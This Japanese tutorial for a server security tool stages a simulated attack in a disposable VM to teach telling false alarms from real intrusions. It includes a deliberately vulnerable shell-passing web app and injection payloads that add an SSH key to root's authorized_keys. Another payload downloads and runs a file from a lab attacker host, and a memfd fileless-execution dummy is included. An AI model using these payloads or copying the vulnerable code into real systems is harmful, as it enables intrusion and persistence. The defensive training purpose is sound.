#状況
ファイルの改ざん、一時ディレクトリからの実行、/etc/shadow の読み取り、メモリ上のファイルからの実行。あなたは当番の運用者です。同じ時間に、同僚の運用者がこのサーバーで保守作業をしていたことも分かっています。
通知の多くは、自分たちの作業でも鳴ります。全部を本物として扱うと、手が回りません。全部を誤報として片付けると、本物を見落とします。この講座では、通知を1件ずつ、誤報か本物かに振り分ける手順を、使い捨ての VM の中で実際に起こして確かめます。
| 順番 | すること | 使うもの |
|---|---|---|
| 1. 起こす | 運用者の作業と、ダミーの攻撃を、同じ VM で起こす | ネットワーク名前空間、わざと脆弱にした練習用のサービス |
| 2. 読む | 通知ごとに、何が・誰が・どのプロセスが・親は何かを読む | 通知の履歴、重要システムファイルの改ざん監視、プロセス実行の記録と攻撃手口の検知、カーネル層の侵入検知と自律隔離 |
| 3. 裏を取る | 時系列と実行の記録で、通知の中身を確かめる | インシデントのタイムライン、events tree、events search、sshd のログ |
| 4. 対応する | 隔離を続けるか、解くか、許可リストに足すか、調べ続けるかを決める | server ebpf、封じ込め時の証拠の自動採取、emergency-restore |
| 5. 元に戻す | 練習の場を片付ける |
許可リストの書き方は 誤検知を減らす設定 で、隔離が働いたあとの1時間の進め方は 封じ込めが働いたあとの最初の1時間 で扱いました。この講座は、その手前の「この1件は誤報か、本物か」の判断に絞ります。
この講座は、わざと脆弱なサービスを動かし、root の authorized_keys に鍵の行を書き足します。必ず使い捨ての VM で行います。攻撃役の通信は、VM の中の名前空間からだけ送り、VM の外には向けません。足す鍵は、この場で作る練習用のものです。
#練習の場を用意し、通知を起こす
VM の中に、2つの接続元を作ります。どちらも、VM の中のネットワーク名前空間です。
| アドレス | 役 |
|---|---|
10.99.0.2 | 保守作業をする同僚の運用者(鍵で SSH ログインする) |
10.99.0.3 | 攻撃者(自分の配布用サーバーを持つ) |
サーバーの上では、練習用の管理画面 labapp.service を root で動かします。/ping?host= の値をそのままシェルに渡す、わざと脆弱なものです。古い管理画面が root で動いている、という設定です。
パッケージを入れ、サービスとネットワークの設定を足す操作です(変更を伴う操作です)。戻し方は、最後の演習にあります。
eBPF ガードのセンサーとして Falco を入れます。Falco の配布元から入れます。
curl -fsSL https://falco.org/repo/falcosecurity-packages.asc \
| sudo gpg --batch --yes --dearmor -o /usr/share/keyrings/falco-archive-keyring.gpg
echo "deb [signed-by=/usr/share/keyrings/falco-archive-keyring.gpg] https://download.falco.org/packages/deb stable main" \
| sudo tee /etc/apt/sources.list.d/falcosecurity.list >/dev/null
sudo apt-get update -qq
sudo DEBIAN_FRONTEND=noninteractive FALCO_FRONTEND=noninteractive FALCO_DRIVER_CHOICE=modern_ebpf apt-get install -y -qq falco
sudo roamswitch server restart
systemctl is-active falco-modern-bpfactive接続元の名前空間と、練習用の鍵を2つ作ります。運用者の鍵 lab_op と、攻撃者が足す鍵 lab_atk です。どちらも、この場で作るものです。
sudo ip netns add outside
sudo ip link add veth-host type veth peer name veth-out
sudo ip link set veth-out netns outside
sudo ip addr add 10.99.0.1/24 dev veth-host
sudo ip link set veth-host up
sudo ip netns exec outside ip addr add 10.99.0.2/24 dev veth-out
sudo ip netns exec outside ip addr add 10.99.0.3/24 dev veth-out
sudo ip netns exec outside ip link set veth-out up
sudo ssh-keygen -q -t ed25519 -N "" -C lab-operator -f /root/lab_op
sudo ssh-keygen -q -t ed25519 -N "" -C backup@example -f /root/lab_atk
sudo cat /root/lab_op.pub >> /home/admin/.ssh/authorized_keys練習用の管理画面と、攻撃者が配るダミーのファイルを置きます。ダミーのファイルは、/bin/sleep をメモリ上のファイル(memfd)にコピーし、そこから動かすだけです。ファイルを残さずに動かす手口の、形だけをまねます。
sudo mkdir -p /srv/labapp /srv/lab-attacker
sudo tee /srv/labapp/app.py >/dev/null <<'P'
# 練習用のダミーの管理画面。/ping?host= の値をそのままシェルに渡す(わざと脆弱にしてある)
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
import subprocess
class H(BaseHTTPRequestHandler):
def do_GET(self):
host = parse_qs(urlparse(self.path).query).get("host", ["127.0.0.1"])[0]
out = subprocess.run("ping -c1 -W1 " + host, shell=True, capture_output=True, text=True).stdout
self.send_response(200); self.end_headers(); self.wfile.write(out.encode())
HTTPServer(("0.0.0.0", 80), H).serve_forever()
P
printf '[Service]\nExecStart=/usr/bin/python3 /srv/labapp/app.py\n' | sudo tee /etc/systemd/system/labapp.service >/dev/null
sudo systemctl daemon-reload
sudo systemctl start labapp
sudo tee /srv/lab-attacker/update >/dev/null <<'P'
#!/usr/bin/python3
# 練習用のダミー: /bin/sleep をメモリ上のファイルにコピーし、そこから動かすだけ
import os
fd = os.memfd_create("kworker", 0)
os.write(fd, open("/bin/sleep", "rb").read())
os.execv(f"/proc/self/fd/{fd}", ["kworker", "120"])
P
sudo ip netns exec outside setsid python3 -m http.server 8080 --bind 10.99.0.3 --directory /srv/lab-attacker </dev/null >/dev/null 2>&1 &
sudo ip netns exec outside curl -s 'http://10.99.0.1/ping?host=127.0.0.1' | head -2
sudo roamswitch fim updatePING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.024 ms
📝 現在のシステムファイルからベースラインDBを再作成中...
✓ ベースラインDBを正常に更新・署名保存しました。 (92 件記録)
✓ SUID / SGID ファイルの基準を更新しました。 (20 件記録)サービスが待ち受けを始める前に curl が届くと、PING の行は出ません。そのときは、curl の行をもう一度実行します。最後の fim update は、準備で変えたファイル(運用者の鍵、ユニットのファイル)を、改ざんの基準に入れるためです。ここから先の変更だけが、通知に出ます。準備のあいだにも、この2つのファイルの改ざんの通知が、その場で1件ずつ届きます。
最後に、パッケージの操作が動いていないことを確かめます。VM を起動した直後は、自動の更新(unattended-upgrades)が動くことがあります。パッケージの操作の最中は、改ざんの通知が、その操作の終わりまで後回しになります。
sudo fuser -v /var/lib/dpkg/lock-frontend; echo fuser=$?fuser=11 は、dpkg の鍵を握っているプロセスがない、という意味です。0 のときは、終わるのを待ってから先へ進みます。
続いて、誤報になりやすい作業と、本物の兆候を起こします。先に、同僚の運用者の作業を起こします。SSH で入り、設定を1行変え、手元の確認用のツールを /tmp から動かし、パスワードの記録を1行確かめます。どれも、ふだんの保守でありうる操作です。
/etc/ssh/sshd_config と root の authorized_keys を変える操作です(変更を伴う操作です)。戻し方は、後の演習にあります。
O="-i /root/lab_op -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR -o BatchMode=yes"
sudo ip netns exec outside ssh $O -b 10.99.0.2 admin@10.99.0.1 '
sudo sed -i "s/^#MaxAuthTries 6/MaxAuthTries 3/" /etc/ssh/sshd_config
cp /usr/bin/df /tmp/diskcheck
/tmp/diskcheck -h / | tail -1
sudo grep -c "^admin:" /etc/shadow'/dev/vda1 17G 3.8G 14G 23% /
1次に、攻撃者が管理画面の穴を突きます。1回目は root の authorized_keys に鍵の行を足し、2回目は自分のサーバーからファイルを落として動かします。
sudo ip netns exec outside curl -s -G --max-time 5 http://10.99.0.1/ping \
--data-urlencode "host=127.0.0.1; echo \"$(sudo cat /root/lab_atk.pub)\" >> /root/.ssh/authorized_keys" | head -1
sudo ip netns exec outside curl -s -G --max-time 10 http://10.99.0.1/ping \
--data-urlencode 'host=127.0.0.1; mkdir -p /tmp/.cache; curl -s -o /tmp/.cache/update http://10.99.0.3:8080/update; chmod +x /tmp/.cache/update; /tmp/.cache/update'; echo "curl: exit $?"PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
curl: exit 282回目は、応答が返らないまま、10 秒で打ち切られました(終了コード 28)。理由は、対応の章で確かめます。通知の履歴の見出しを、新しい順に並べます。
sudo roamswitch notifications --json | jq -r '.[] | .timestamp[11:19] + " " + .title' | head -n 1201:26:40 eBPF ランタイム脅威検知: Fileless execution via memfd_create (Critical)
01:26:40 🔎 不審な実行パターンを検知
01:26:40 🔎 不審な実行パターンを検知
01:26:40 クリティカルパス改ざん検知 (FIM) (1 件の改ざん)
01:26:40 eBPF ランタイム脅威検知: Read sensitive file untrusted (Warning)
01:26:40 クリティカルパス改ざん検知 (FIM) (1 件の改ざん)
01:26:40 🔎 不審な実行パターンを検知時刻は UTC です。日本時間では 10:26 です。この下には、準備の操作による通知が続きます。見出しだけでは、どれが同僚の作業で、どれが攻撃かは分かりません。
1分ほどたつと、いちばん上に別の通知が届くことがあります。この VM では、「悪用の恐れが高い脆弱性が、未修正のまま残っています」と「オンにした保護が働いていません」(緊急通知の経路が一つもない)が届きました。サーバーの点検の通知で、攻撃とは別のものです。この講座では、上の7件を振り分けます。
#通知を1件ずつ読む
通知の本文には、決まった手がかりがあります。1件ごとに、次の4つを読みます。
| 問い | 本文で見る行 |
|---|---|
| 何が起きたか | 検知ルール、変わったファイル、深刻度 |
| 誰が | プロセス: の行のアカウント。ログインしたアカウント があれば、sudo の前の人 |
| どのプロセスが | プロセス: の行の実行ファイルとコマンド |
| 親は何か | 親プロセス: の行。FIM なら SSH ログイン: か、どのサービスのプロセスか |
読み取りだけの操作です。
sudo roamswitch notifications --json | jq -r '.[0:7][] | "== " + .timestamp[11:19] + " " + .title, .body, ""'上に別の通知が届いていたら、その件数だけずらします。1件なら .[1:8]、2件なら .[2:9] です。
まず、ファイルの改ざん(FIM)の2件です。
== 01:26:40 クリティカルパス改ざん検知 (FIM) (1 件の改ざん)
/root/.ssh/authorized_keys: 内容の変更
プロセス: root / /usr/bin/dash / コマンド: /bin/sh -c ping -c1 -W1 127.0.0.1; echo 'ssh-ed25519 SHA256:eNsxCxUl8PSDRUpVtoy1k/N/ndnL7rFJWGx8B5kuM+U backup@example' >> /root/.ssh/authorized_keys (pid 2873)
SSH のログインは見つかりませんでした(systemd サービス labapp.service のプロセスです)
== 01:26:40 クリティカルパス改ざん検知 (FIM) (1 件の改ざん)
/etc/ssh/sshd_config: 内容の変更
プロセス: root(ログインしたアカウント: admin) / /usr/bin/sed / コマンド: sed -i s/^#MaxAuthTries 6/MaxAuthTries 3/ /etc/ssh/sshd_config (pid 2770)
SSH ログイン: 10.99.0.2:44859 から admin が 2026-11-12 01:26:39 にログインしたセッションです(認証: publickey, 鍵 SHA256:UHLHPX/fbNCVG+TxQH+8SIxtCCWdoLq1d8bVLOB5QXI)どちらも root が重要なファイルを変えています。違いは、その root がどこから来たかです。
sshd_config: admin が10.99.0.2から SSH でログインし、sudo でsedを動かしました。人の作業の形です。ログインに使った鍵の指紋も出ますauthorized_keys: SSH のログインはありません。labapp.serviceの中のシェルが、pingのあとにecho ... >>を続けています。管理画面に渡した値が、そのままコマンドになっています。足された鍵は、本体を伏せて指紋(SHA256:…)で出ます
次に、実行の記録の3件です。
== 01:26:40 🔎 不審な実行パターンを検知
一時ディレクトリ・削除済み・memfd からの実行 (EXR-002)
プロセス: /memfd:kworker (PID: 2907) / 重要度: 高
詳細: memfd:kworker が匿名メモリファイル (memfd) から実行されました。分類: memfd、パス: /memfd:kworker
次の確認コマンド: sudo roamswitch events tree 2907
(通知のみ・遮断はしていません)
プロセス: root / /memfd:kworker (deleted) / コマンド: kworker 120 (pid 2907)
親プロセス: dash ← python3.12 ← systemd
== 01:26:40 🔎 不審な実行パターンを検知
ダウンロード直後のファイル実行 / curl|sh (EXR-003)
プロセス: /usr/bin/python3.12 (PID: 2907) / 重要度: 中
詳細: python3.12 が、http://10.99.0.3:8080/update からダウンロードされたファイルを 120 秒以内に実行しました。出力先: /tmp/.cache/update
次の確認コマンド: sudo roamswitch events tree 2907
(通知のみ・遮断はしていません)
プロセス: root / /usr/bin/python3.12 / コマンド: /usr/bin/python3 /tmp/.cache/update (pid 2907)
親プロセス: dash ← python3.12 ← systemd
== 01:26:40 🔎 不審な実行パターンを検知
一時ディレクトリ・削除済み・memfd からの実行 (EXR-002)
プロセス: /tmp/diskcheck (PID: 2772) / 重要度: 中
詳細: 誰でも書き込めるディレクトリからの実行です。分類: tmp、パス: /tmp/diskcheck
次の確認コマンド: sudo roamswitch events tree 2772
(通知のみ・遮断はしていません)
プロセス: admin / /tmp/diskcheck / コマンド: /tmp/diskcheck -h / (pid 2772)
親プロセス: bash ← sshd ← sshd ← sshd ← systemd同じ EXR-002 が2件あります。ルールの名前だけでは、振り分けられません。
/tmp/diskcheck: 親はbash ← sshd。SSH のセッションから、admin が動かしました。重要度は中です/memfd:kworker: 親はdash ← python3.12 ← systemd。管理画面の python の子です。EXR-003 と同じ PID 2907 で、10.99.0.3から落としたファイルが、メモリ上のファイルに化けています。重要度は高です- 実行の記録の通知は、どれも「通知のみ・遮断はしていません」です。次に打つ
events treeのコマンドが、本文に入っています
最後に、eBPF ガードの2件です。
== 01:26:40 eBPF ランタイム脅威検知: Fileless execution via memfd_create (Critical)
深刻度: Critical
自律防御アクション: サービス labapp.service の通信を遮断 + SIGKILL で終了
プロセス: root / memfd:kworker / コマンド: 3 120 (pid 2907)
サービス: labapp.service
検知から対処まで: 328 ミリ秒
== 01:26:40 eBPF ランタイム脅威検知: Read sensitive file untrusted (Warning)
深刻度: Warning
自律防御アクション: 記録のみ(ガードの設定により、遮断しない)
プロセス: root(ログインしたアカウント: admin) / /usr/bin/grep / コマンド: grep -c ^admin: /etc/shadow (pid 2795) ※プロセスは既に終了していたため、実行の記録(2026-11-12 01:26:40)から補いました。
親プロセス: sudo ← sshd ← sshd ← sshd ← systemd
🔎 自動一次判定: 誤検知の可能性 高
根拠: 検知ルール「Read sensitive file untrusted」は一般的に誤検知が多いことが知られています。- memfd の実行(Critical): ガードは、このプロセスの通信を
labapp.serviceの単位で止め、328 ミリ秒で終了させました。止めた単位は、「自律防御アクション」の行に出ます。すでに封じ込めが働いています。コマンドの3 120は、メモリ上のファイルを/proc/self/fd/3から動かしたため、プロセス名が3になったものです。実行の記録の通知には、本来のkworker 120が出ています /etc/shadowの読み取り(Warning): 親はsudo ← sshdで、ログインしたアカウント: adminのとおり admin の操作です。記録だけで、止めていません
ここまでを、表にまとめます。
| 時刻(UTC) | 通知 | 誰が・親は | 振り分け |
|---|---|---|---|
| 01:26:40 | EXR-002 /tmp/diskcheck | admin、bash ← sshd | 運用者の作業 |
| 01:26:40 | FIM sshd_config | admin の sudo、10.99.0.2 からの SSH | 運用者の作業 |
| 01:26:40 | eBPF Warning /etc/shadow | admin の sudo、sudo ← sshd | 運用者の作業 |
| 01:26:40 | FIM authorized_keys | root、labapp.service、SSH なし | 本物 |
| 01:26:40 | EXR-003 ダウンロードして実行 | root、dash ← python3.12 ← systemd | 本物 |
| 01:26:40 | EXR-002 memfd | 同じ PID 2907 | 本物 |
| 01:26:40 | eBPF Critical memfd | 同じ PID 2907、通信の遮断と終了 | 本物 |
この表は、まだ仮の振り分けです。運用者の3件は、「SSH のセッションから来た」ことしか分かっていません。そのセッションが本当に同僚のものかは、次の章で確かめます。
次の4つが、すべてそろったときだけです。
- 親をたどると、SSH のセッションに着く。サービスや Web サーバーの子ではない
- そのログインが、自分たちのもの。接続元、時刻、鍵の指紋が、作業した人と合う
- 時刻が、作業の記録と合う。同僚に聞いて、その時刻にその操作をしたと確かめる
- 変わった中身が、意図した変更だけ。
sshd_configなら、変えた1行だけ
1つでも欠けたら、本物として扱います。サービスの子のシェルが重要なファイルを変えた、知らないアドレスから落としたファイルを動かした、メモリ上のファイルから動いた。この3つは、作業の記録があっても、まず本物として調べます。
自動一次判定の「誤検知の可能性 高」は、ルールの一般的な傾向です。この1件が誰の操作かは見ていません。逆に、改ざんの一次調査レポート(/var/lib/roamswitch/fim_investigations/)は、sudoers、SSH の設定、authorized_keys、shadow、PAM の変更を、ほかの兆候によらず「誤検知の可能性: 低」にします(コードで確認)。同僚の作業でも同じです。
#時系列と実行の記録で、裏を取る
通知の本文は、要点だけです。時系列と実行の記録で、前後を確かめます。
読み取りだけの操作です。PID は、手元の通知の値に読み替えてください。
sudo roamswitch timeline | head -n 60 2026-11-12T01:26:40.885951016+00:00 [eBPF Guard] 対応中
Fileless execution via memfd_create: サービス labapp.service の通信を遮断 + SIGKILL で終了
プロセス: memfd:kworker (pid 2907)
検知→遮断の所要時間: 326ms
実施した対応: サービス labapp.service の通信を遮断 + SIGKILL で終了
証拠バンドル: 20261112T012640Z-a7285ba5-2945 manifest sha256:2318f2a68d4de8a9 (0 ファイル)
└─ 2026-11-12T01:26:40.969400875+00:00 [Incident Capture] 対応中
インシデント証拠バンドルを保存しました: /var/lib/roamswitch/incident-evidence/20261112T012640Z-a7285ba5-2945
実施した対応: 証拠を保存
証拠バンドル: 20261112T012640Z-a7285ba5-2945 manifest sha256:2318f2a68d4de8a9 (0 ファイル)
2026-11-12T01:26:40.857164799+00:00 [Incident Capture] 対応中
インシデント証拠バンドルを保存しました: /var/lib/roamswitch/incident-evidence/20261112T012640Z-96720b90-2928
プロセス: memfd:kworker (pid 2907)
実施した対応: 証拠を保存
証拠バンドル: 20261112T012640Z-96720b90-2928 manifest sha256:acb2c16ac305b508 (6 ファイル)
2026-11-12T01:26:40.652287685+00:00 [Exec Recorder] 記録のみ
EXR-002: memfd:kworker が匿名メモリファイル (memfd) から実行されました。分類: memfd、パス: /memfd:kworker
プロセス: /memfd:kworker (pid 2907)
親プロセス系譜: dash ← python3.12 ← systemd
MITRE ATT&CK: T1620 (Reflective Code Loading)
実施した対応: 記録して通知
2026-11-12T01:26:40.589722689+00:00 [Exec Recorder] 記録のみ
EXR-003: python3.12 が、http://10.99.0.3:8080/update からダウンロードされたファイルを 120 秒以内に実行しました。出力先: /tmp/.cache/update
プロセス: /usr/bin/python3.12 (pid 2907)
親プロセス系譜: dash ← python3.12 ← systemd
MITRE ATT&CK: T1105 (Ingress Tool Transfer)
実施した対応: 記録して通知
2026-11-12T01:26:40.444078337+00:00 [eBPF Guard] 記録のみ
Read sensitive file untrusted: 記録のみ(ガードの設定により、遮断しない)
プロセス: grep (pid 2795)
親プロセス系譜: sudo ← sshd ← sshd ← sshd ← systemd
MITRE ATT&CK: T1552 (Unsecured Credentials)
実施した対応: 記録のみ(ガードの設定により、遮断しない)
2026-11-12T01:26:40.440019800+00:00 [FIM] 記録のみ
/root/.ssh/authorized_keys: 内容の変更(SSH のログインは見つからない: service labapp.service)
プロセス: dash (pid 2873)
実施した対応: 記録して通知ガード、実行の記録、FIM、証拠の保存が、1本の時系列に並びます。01:26:40.44 の鍵の追加から、01:26:40.97 の封じ込めまで、1 秒たらずです。終了させる前に、プロセスの状態(6 ファイル)を保存しています。見出しの右の「対応中」は封じ込めが働いた行、「記録のみ」は知らせただけの行です。
events tree で、2つの EXR-002 の親を、PID でたどります。
sudo roamswitch events tree 2907
sudo roamswitch events tree 27721 /usr/lib/systemd/systemd
2514 /usr/bin/python3.12
2901 /usr/bin/dash
2907 /memfd:kworker 120
1 /usr/lib/systemd/systemd
2651 /usr/sbin/sshd
2652 /usr/sbin/sshd
2765 /usr/sbin/sshd
2768 /usr/bin/bash
2772 /tmp/diskcheck -h /memfd の親の親は、PID 2514 の python3 です。それが何かを確かめます。
systemctl status labapp --no-pager | head -4● labapp.service
Loaded: loaded (/etc/systemd/system/labapp.service; static)
Active: active (running) since Thu 2026-11-12 01:26:06 UTC; 1min 12s ago
Main PID: 2514 (python3)管理画面のサービスです。攻撃が1回だけとは限りません。events search --parent に親の PID を渡すと、そのプロセスが直接起動したものが、すべて並びます。
sudo roamswitch events search --since 1h --parent 25142026-11-12T01:26:40.538Z pid=2901 ppid=2514 root /usr/bin/dash -c ping -c1 -W1 127.0.0.1; mkdir -p /tmp/.cache; curl -s -o /tmp/.cache/update http://10.99.0.3:8080/update; chmod +x /tmp/.cache/update; /tmp/.cache/update
2026-11-12T01:26:40.438Z pid=2873 ppid=2514 root /usr/bin/dash -c ping -c1 -W1 127.0.0.1; echo 'ssh-ed25519 SHA256:eNsxCxUl8PSDRUpVtoy1k/N/ndnL7rFJWGx8B5kuM+U backup@example' >> /root/.ssh/authorized_keys
2026-11-12T01:26:07.880Z pid=2538 ppid=2514 root /usr/bin/dash -c ping -c1 -W1 127.0.0.13行です。一番下の 01:26:07 は、準備の演習で確かめた正しい使い方です。上の2行が、攻撃者の2回の要求です。足された鍵は、ここでも指紋で出ます。
次は、運用者の側です。通知の SSH ログイン の行は、接続元、ログインの時刻、鍵の指紋を示します。sshd のログでも同じログインを確かめ、同僚が使う鍵の指紋と比べます。
sudo journalctl -u ssh --since -30min --no-pager | grep Accepted
ssh-keygen -lf /home/admin/.ssh/authorized_keysNov 12 01:26:39 ubuntu sshd[2652]: Accepted publickey for admin from 10.99.0.2 port 44859 ssh2: ED25519 SHA256:UHLHPX/fbNCVG+TxQH+8SIxtCCWdoLq1d8bVLOB5QXI
256 SHA256:UHLHPX/fbNCVG+TxQH+8SIxtCCWdoLq1d8bVLOB5QXI lab-operator (ED25519)sshd[2652] は、events tree 2772 に出た sshd の PID と同じです。ポートの 44859 と鍵の指紋も、通知の SSH ログイン の行と同じです。鍵は lab-operator、同僚の鍵です。ここまでで、条件の1と2がそろいました。3と4は、同僚に時刻と操作を聞いて確かめます。
root の authorized_keys に足された行の指紋と、FIM の今の結果も見ておきます。
sudo tail -n 1 /root/.ssh/authorized_keys | ssh-keygen -lf -
sudo roamswitch fim verify256 SHA256:eNsxCxUl8PSDRUpVtoy1k/N/ndnL7rFJWGx8B5kuM+U backup@example (ED25519)
🔍 最重要システムファイルの整合性を検証中... (92 件)
🚨 ファイルの変更・改ざんが検知されました!
[内容の変更] /etc/ssh/sshd_config
[内容の変更] /root/.ssh/authorized_keys指紋は、通知と events search に出た指紋と同じです。足されたのは、この鍵だと特定できます。
調べている途中で、別の人がパッケージを入れることがあります。そのときの fim verify を見ます。まず、今の結果を控えます。
sudo roamswitch fim verify | grep -F '[内容の変更]' | sudo tee /root/fim-before-apt.txt
sudo DEBIAN_FRONTEND=noninteractive apt-get install -y -qq chrony > /tmp/apt-chrony.log 2>&1; echo "apt: exit $?"
grep -A5 RoamSwitch /tmp/apt-chrony.log
sudo roamswitch fim verify | sed -n 1,5p [内容の変更] /root/.ssh/authorized_keys
[内容の変更] /etc/ssh/sshd_config
apt: exit 0
RoamSwitch: パッケージ chrony がシステムグループ _chrony (GID 112) を追加しました。FIM の基準に取り込みました。
RoamSwitch: パッケージ chrony がシステムアカウント _chrony (UID 109、ログイン不可) を追加しました。FIM の基準に取り込みました。
RoamSwitch: パッケージの更新で説明できない変更が 2 件あり、FIM の基準に取り込みませんでした。
/etc/ssh/sshd_config (内容の変更): どのパッケージのファイルでもありません (更新の前から、基準と違っていました)
/root/.ssh/authorized_keys (内容の変更): どのパッケージのファイルでもありません (更新の前から、基準と違っていました)
確認: sudo roamswitch fim verify。正しい変更だと確かめたら: sudo roamswitch fim update
🔍 最重要システムファイルの整合性を検証中... (92 件)
🚨 ファイルの変更・改ざんが検知されました!
[内容の変更] /root/.ssh/authorized_keys
[内容の変更] /etc/ssh/sshd_config
このうち 2 件は、2026-11-12 01:27 のパッケージの更新で説明できなかったため、基準に取り込んでいない変更です。apt のあとも、2件は fim verify に残りました。RoamSwitch は apt のフック(/etc/apt/apt.conf.d/99roamswitch-fim)で、更新の前後を記録します。基準に取り込むのは、その更新のパッケージが持ち主で、中身がパッケージの記録と一致する変更だけです。chrony が足したシステムアカウントは、1行ずつ知らせたうえで取り込みました。
sudo roamswitch fim update は、そのときのファイルを、改ざんも含めてまるごと基準にします。実行すると、攻撃者の鍵も fim verify に出なくなります。改ざんの通知を受けたら、最初に fim verify の結果を控え、調べ終わるまで fim update を実行しないよう、ほかの運用者に伝えます。通知の履歴と時系列には、改ざんの記録が残ります。
#対応を決める
振り分けが終わったら、通知ごとに対応を決めます。選べるのは、隔離を続ける、隔離を解く、許可リストに足す、調べ続ける、の4つです。
サービスを止め、鍵の行を消し、隔離を解く操作です(変更を伴う操作です)。
いまの隔離を見ます。
sudo roamswitch server ebpf 現在の隔離状態: [隔離中: サービス labapp.service の通信]
隔離対象PID: [2907 (終了済み)]
隔離したプロセス(2907)はすでに終了しています。通信を止める規則は、サービス labapp.service の通信全体に掛かっているため、残ったままです。解除は sudo roamswitch emergency-restore です。
保守用開放ポート: [22]
インシデント発生後の最初の1時間: https://roamswitch.com/incident-first-hour.html
最終対処時刻: 2026-11-12T01:26:40.558958166+00:00
【検知されたインシデント】
🚨 [2026-11-12T01:26:40.556582034Z] Fileless execution via memfd_create - サービス labapp.service の通信を遮断 + SIGKILL で終了 (プロセス: memfd:kworker)
🚨 [2026-11-12T01:26:40.232286961Z] Read sensitive file untrusted - 記録のみ(ガードの設定により、遮断しない) (プロセス: grep)隔離の単位は、プロセスが属するサービス labapp.service です。プロセスは終わっていても、通信を止める規則は残っています。規則の中身と、効き目を確かめます。
sudo nft list ruleset | grep -n -B3 -A3 "cgroupv2"
sudo ip netns exec outside curl -s --max-time 5 'http://10.99.0.1/ping?host=127.0.0.1' >/dev/null; echo "curl: exit $?"
sudo ip netns exec outside ssh $O -b 10.99.0.2 admin@10.99.0.1 'echo ssh ok from $SSH_CLIENT'94-table inet roamswitch_isolate {
95- chain process_block {
96- type filter hook output priority dstnat; policy accept;
97: socket cgroupv2 level 2 "system.slice/labapp.service" drop
98- }
99-}
curl: exit 28
ssh ok from 10.99.0.2 36595 22規則は、labapp.service から出る通信を捨てます。攻撃の演習で2回目の要求が打ち切られたのは、これで応答が返らなくなったためです。運用者の SSH は通ります。証拠の保存先も見ます。
sudo ls /var/lib/roamswitch/incident-evidence/
sudo sh -c 'for d in /var/lib/roamswitch/incident-evidence/*; do echo "$d"; ls "$d"; done'20261112T012640Z-96720b90-2928
20261112T012640Z-a7285ba5-2945
/var/lib/roamswitch/incident-evidence/20261112T012640Z-96720b90-2928
manifest.json
process
/var/lib/roamswitch/incident-evidence/20261112T012640Z-a7285ba5-2945
manifest.jsonprocess には、終了させる前のプロセスの状態(コマンドライン、環境変数、メモリの配置、開いていたファイル、系譜、状態)が入っています。もう1つのバンドルは、パケットの記録の分です。この VM では tshark がないため、manifest.json に「tshark が見つかりません(Debian・Ubuntu では tshark パッケージ…)」と記録され、空でした。
入口を閉じます。サービスを止め、足された鍵の行と、落とされたファイルを消します。
sudo systemctl stop labapp
sudo sed -i '/backup@example/d' /root/.ssh/authorized_keys
sudo rm -rf /tmp/.cache
sudo roamswitch fim verify 🚨 ファイルの変更・改ざんが検知されました!
[内容の変更] /etc/ssh/sshd_config
このうち 1 件は、2026-11-12 01:27 のパッケージの更新で説明できなかったため、基準に取り込んでいない変更です。鍵の行を消すと、authorized_keys は基準と同じに戻り、一覧から消えました。残ったのは、同僚の sshd_config の変更です。変えたのが意図した1行だけだと確かめたので、基準を取り直し、隔離を解きます。emergency-restore は、確認に y と答えると実行します。
sudo roamswitch fim update
sudo roamswitch emergency-restore
sudo roamswitch server ebpf | sed -n 5,6p ✓ ベースラインDBを正常に更新・署名保存しました。 (92 件記録)
✓ SUID / SGID ファイルの基準を更新しました。 (20 件記録)
現在の状態:
ピンポイント隔離中(止めている範囲: サービス labapp.service の通信)
ネットワークを復旧しますか? [y/N] y
🔄 緊急遮断・隔離ルールを全解除し、ベースラインへ復旧中...
✓ 隔離の記録
✓ 通信を止めうるファイアウォールのテーブル
✓ DNSの設定
✓ 接続の追跡
次のファイアウォールのテーブルは、隔離ではないので残しました:
- roamswitch_server: サーバーの受信の規則(ssh_ports・allowed_ports だけを通す、ふだんの防御)
✓ ネットワークを復旧しました。
ポートスキャンの検知など、ここで外した規則は、再起動まで戻りません。戻すには: sudo systemctl restart roamswitch-server
現在の隔離状態: [隔離なし]
最終対処時刻: 2026-11-12T01:28:01.799431041+00:00確認の前に、いま止めている範囲(サービス labapp.service の通信)が出ます。y で、その規則が外れました。server ebpf は「隔離なし」です。
本物と振り分けたもの(管理画面からの4件)
- 隔離を続ける: 入口(
labapp.service)が開いている間は、解きません。解くと、同じ要求がまた通ります - 調べ続ける:
events search --parent <サービスの PID>で、そのサービスが起動したものを全部読みます。鍵の追加のように、封じ込めの前に済んだ操作が見つかります - 隔離を解く: サービスを止め、足された鍵とファイルを消し、
fim verifyで確かめてからです。その後の進め方は 封じ込めが働いたあとの最初の1時間 にあります
誤報と振り分けたもの(同僚の3件)
sshd_configの変更: 変えた1行だけかを確かめ、攻撃の後始末が済んでからfim updateで基準に入れます/tmp/diskcheckの実行: 許可リストは、eBPF ガードの封じ込めのためのものです。実行の記録の通知は止まりません。確認用のツールは/tmpではなく、管理された場所に置いてもらいます/etc/shadowの読み取り: 記録だけで、封じ込めはしていません。許可リストに足しても、通知は続きます(誤検知を減らす設定)。足す理由がないので、記録として閉じます
- memfd の実行のルールを、許可リストに足す。ファイルを残さない実行は、攻撃でよく使われます。許可した組は封じ込められなくなります
- EXR-002 を
exec_rules_disabledで止める。この講座で見たとおり、/tmpからの実行と memfd からの実行は、同じ EXR-002 です。同僚の/tmp/diskcheckを黙らせると、攻撃者の memfd の通知も消えます fim verifyを控える前にfim updateを実行する。改ざんが基準に入り、一覧から消えます- 入口を閉じる前に
emergency-restoreする。隔離は、まだ開いている入口からの通信を止めています
#元に戻す
練習で足したものを消す操作です(変更を伴う操作です)。
sudo ip netns pids outside | xargs -r sudo kill
sudo ip netns del outside
sudo rm -f /etc/systemd/system/labapp.service
sudo systemctl daemon-reload
sudo rm -rf /srv/labapp /srv/lab-attacker /tmp/diskcheck /root/lab_op /root/lab_op.pub /root/lab_atk /root/lab_atk.pub /root/fim-before-apt.txt
sudo sed -i '/lab-operator/d' /home/admin/.ssh/authorized_keys
sudo sed -i 's/^MaxAuthTries 3/#MaxAuthTries 6/' /etc/ssh/sshd_config
sudo DEBIAN_FRONTEND=noninteractive apt-get purge -y -qq chrony >/dev/null 2>&1; echo "apt: exit $?"
sudo roamswitch fim verifyapt: exit 0
